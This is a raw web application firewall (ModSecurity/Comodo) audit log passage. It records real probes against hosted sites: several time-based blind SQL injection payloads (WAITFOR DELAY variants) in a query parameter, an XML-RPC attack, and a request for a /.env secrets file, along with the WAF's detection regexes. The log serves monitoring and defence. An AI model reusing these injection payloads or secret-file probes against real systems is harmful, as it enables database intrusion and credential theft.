p5=169, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90dc2332-Z-- --70603520-A-- [16/Jun/2025:03:08:50.937295 +0530] aE89aol8S04UZ4l67-neawAAAAk 162.158.110.250 50204 127.0.0.1 7081 --70603520-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%284225%3D4225&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.110.250 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537790998366d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --70603520-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar)%20WAITFOR%20DELAY%200:0:5%20AND%20(4225=4225&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --70603520-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%284225%3D4225&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar) WAITFOR DELAY '0:0:5' AND (4225=4225 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%284225%3D4225&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89aol8S04UZ4l67-neawAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar) WAITFOR DELAY '0:0:5' AND (4225=4225 found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89aol8S04UZ4l67-neawAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023530700881 236545 (- - -) Stopwatch2: 1750023530700881 236545; combined=5021, p1=405, p2=4440, p3=0, p4=0, p5=175, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70603520-Z-- --b31df025-A-- [16/Jun/2025:03:08:52.239071 +0530] aE89bENwpNEMJppxC49R2QAAAAI 162.158.111.235 50268 127.0.0.1 7081 --b31df025-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.235 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537816af1362d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --b31df025-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%200:0:5&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --b31df025-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bENwpNEMJppxC49R2QAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bENwpNEMJppxC49R2QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023532041307 197871 (- - -) Stopwatch2: 1750023532041307 197871; combined=5286, p1=430, p2=4677, p3=0, p4=0, p5=178, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b31df025-Z-- --1db40173-A-- [16/Jun/2025:03:08:52.964700 +0530] aE89bNkGqt_oHz6gRVdJCQAAAAw 162.158.94.238 50298 127.0.0.1 7081 --1db40173-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27MGIh%27%3D%27MGIh&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.238 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053787686c8f36-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --1db40173-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar)%20WAITFOR%20DELAY%200:0:5%20AND%20(MGIh=MGIh&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --1db40173-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27MGIh%27%3D%27MGIh&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar') WAITFOR DELAY '0:0:5' AND ('MGIh'='MGIh found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%29%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%28%27MGIh%27%3D%27MGIh&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bNkGqt_oHz6gRVdJCQAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar') WAITFOR DELAY '0:0:5' AND ('MGIh'='MGIh found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bNkGqt_oHz6gRVdJCQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023532772722 192099 (- - -) Stopwatch2: 1750023532772722 192099; combined=5288, p1=323, p2=4827, p3=0, p4=0, p5=137, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1db40173-Z-- --813f145d-A-- [16/Jun/2025:03:08:54.019867 +0530] aE89bR-kH31pk4mNbsU_HgAAAAo 128.199.112.101 50306 127.0.0.1 7081 --813f145d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --813f145d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --813f145d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE89bR-kH31pk4mNbsU_HgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023533105597 914333 (- - -) Stopwatch2: 1750023533105597 914333; combined=2152, p1=329, p2=1472, p3=39, p4=58, p5=158, sr=91, sw=96, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --813f145d-Z-- --f44d5e18-A-- [16/Jun/2025:03:08:54.284132 +0530] aE89bkNwpNEMJppxC49R2gAAAAI 172.71.164.59 50338 127.0.0.1 7081 --f44d5e18-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27pzwR%27%3D%27pzwR&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.164.59 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505378e1958d289-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f44d5e18-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%200:0:5%20AND%20pzwR=pzwR&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --f44d5e18-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27pzwR%27%3D%27pzwR&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar' WAITFOR DELAY '0:0:5' AND 'pzwR'='pzwR found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar' WAITFOR DELAY '0:0:5' AND 'pzwR'='pzwR found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%20WAITFOR%20DELAY%20%270%3A0%3A5%27%20AND%20%27pzwR%27%3D%27pzwR&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bkNwpNEMJppxC49R2gAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar' WAITFOR DELAY '0:0:5' AND 'pzwR'='pzwR found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bkNwpNEMJppxC49R2gAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar' WAITFOR DELAY '0:0:5' AND 'pzwR'='pzwR found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89bkNwpNEMJppxC49R2gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023534073578 210649 (- - -) Stopwatch2: 1750023534073578 210649; combined=3842, p1=321, p2=3354, p3=0, p4=0, p5=167, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f44d5e18-Z-- --647ca346-A-- [16/Jun/2025:03:08:55.385998 +0530] aE89b9kGqt_oHz6gRVdJCgAAAAw 172.68.195.143 50400 127.0.0.1 7081 --647ca346-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20VbOH&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.68.195.143 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537967d4765d6-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --647ca346-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%200:0:5--%20VbOH&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --647ca346-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20VbOH&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar WAITFOR DELAY '0:0:5'-- VbOH found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%20WAITFOR%20DELAY%20%270%3A0%3A5%27--%20VbOH&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89b9kGqt_oHz6gRVdJCgAAAAw"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar WAITFOR DELAY '0:0:5'-- VbOH found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89b9kGqt_oHz6gRVdJCgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023535188291 197806 (- - -) Stopwatch2: 1750023535188291 197806; combined=4098, p1=421, p2=3540, p3=0, p4=0, p5=136, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --647ca346-Z-- --6a373f4b-A-- [16/Jun/2025:03:09:03.160999 +0530] aE89dtkGqt_oHz6gRVdJDgAAAAw 185.177.72.210 55184 127.0.0.1 7081 --6a373f4b-B-- GET /shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6a373f4b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2b246098349eaf0e11f41d86b6957afb1750023542; expires=Sun, 15 Jun 2025 22:39:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6a373f4b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname 